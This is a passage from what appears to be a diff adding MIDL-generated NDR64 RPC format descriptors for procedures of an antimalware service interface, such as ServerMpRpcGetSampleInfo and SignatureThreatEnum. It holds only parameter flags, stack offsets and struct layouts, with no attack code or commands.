(NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag604, + { + /* arg_3 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag596_t __midl_frag596 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_OPERATOR */ + 0x4, /* FC_EXPR_OPER */ + 0x5, /* OP_UNARY_INDIRECTION */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */ /* Offset */ + } +}; + +static const __midl_frag595_t __midl_frag595 = +{ +/* *Struct_16_t */ + { + /* *Struct_16_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 3 /* 0x3 */, + { + /* *Struct_16_t */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */, + &__midl_frag596 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 16 /* 0x10 */, + &__midl_frag36 + } +}; + +static const __midl_frag594_t __midl_frag594 = +{ +/* *Struct_16_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag595 +}; + +static const __midl_frag593_t __midl_frag593 = +{ +/* **Struct_16_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag594 +}; + +static const __midl_frag589_t __midl_frag589 = +{ +/* Proc56_ServerMpRpcQueryScansWithSamples */ + { + /* Proc56_ServerMpRpcQueryScansWithSamples */ /* procedure Proc56_ServerMpRpcQueryScansWithSamples */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag593, + { + /* arg_3 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag585_t __midl_frag585 = +{ +/* */ + { + /* **Struct_1682_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag576 + } +}; + +static const __midl_frag584_t __midl_frag584 = +{ +/* *Struct_1682_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag578 +}; + +static const __midl_frag583_t __midl_frag583 = +{ +/* */ + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + } +}; + +static const __midl_frag578_t __midl_frag578 = +{ +/* Struct_1682_t */ + { + /* Struct_1682_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_1682_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 64 /* 0x40 */, + 0, + 0, + &__midl_frag583, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag576_t __midl_frag576 = +{ +/* **Struct_1682_t */ + { + /* **Struct_1682_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* **Struct_1682_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag964 + }, + { + /* */ + { + /* struct _NDR64_REPEAT_FORMAT */ + 0x82, /* FC64_VARIABLE_REPEAT */ + { + /* struct _NDR64_REPEAT_FORMAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* */ + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *Struct_1682_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag578 + } + }, + 0x93 /* FC64_END */ + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag584 + } +}; + +static const __midl_frag575_t __midl_frag575 = +{ +/* Struct_1740_t */ + { + /* Struct_1740_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_1740_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */, + 0, + 0, + &__midl_frag585, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag574_t __midl_frag574 = +{ +/* *Struct_1740_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag575 +}; + +static const __midl_frag573_t __midl_frag573 = +{ +/* **Struct_1740_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag574 +}; + +static const __midl_frag570_t __midl_frag570 = +{ +/* Proc55_ServerMpRpcGetSampleInfo */ + { + /* Proc55_ServerMpRpcGetSampleInfo */ /* procedure Proc55_ServerMpRpcGetSampleInfo */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 80 /* 0x50 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag36, + { + /* arg_2 */ + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag573, + { + /* arg_3 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag564_t __midl_frag564 = +{ +/* Proc54_ServerMpRpcSignatureThreatClose */ + { + /* Proc54_ServerMpRpcSignatureThreatClose */ /* procedure Proc54_ServerMpRpcSignatureThreatClose */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 24 /* 0x18 */ , /* Stack size */ + (NDR64_UINT32) 60 /* 0x3c */, + (NDR64_UINT32) 100 /* 0x64 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 224 /* 0xe0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1156, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + } +}; + +static const __midl_frag556_t __midl_frag556 = +{ +/* Proc53_ServerMpRpcSignatureThreatEnum */ + { + /* Proc53_ServerMpRpcSignatureThreatEnum */ /* procedure Proc53_ServerMpRpcSignatureThreatEnum */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 44 /* 0x2c */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1035, + { + /* arg_2 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag548_t __midl_frag548 = +{ +/* Proc52_ServerMpRpcSignatureThreatOpen */ + { + /* Proc52_ServerMpRpcSignatureThreatOpen */ /* procedure Proc52_ServerMpRpcSignatureThreatOpen */ + (NDR64_UINT32) 524355 /* 0x80043 */, /* auto handle */ /* IsIntrepreted, HasReturn */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 100 /* 0x64 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 0 /* 0x0 */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag1288, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag544_t __midl_frag544 = +{ +/* struct _NDR64_CONTEXT_HANDLE_FORMAT */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 65 /* 0x41 */, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 1 /* 0x1 */ +}; + +static const __midl_frag542_t __midl_frag542 = +{ +/* Proc51_ServerMpRpcElevateCleanHandle */ + { + /* Proc51_ServerMpRpcElevateCleanHandle */ /* procedure Proc51_ServerMpRpcElevateCleanHandle */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag544, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag535_t __midl_frag535 = +{ +/* Proc50_ServerMpRpcElevationHandleClose */ + { + /* Proc50_ServerMpRpcElevationHandleClose */ /* procedure Proc50_ServerMpRpcElevationHandleClose */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 68 /* 0x44 */, + (NDR64_UINT32) 100 /* 0x64 */, + (NDR64_UINT16) 0 /* 0x0 */, + 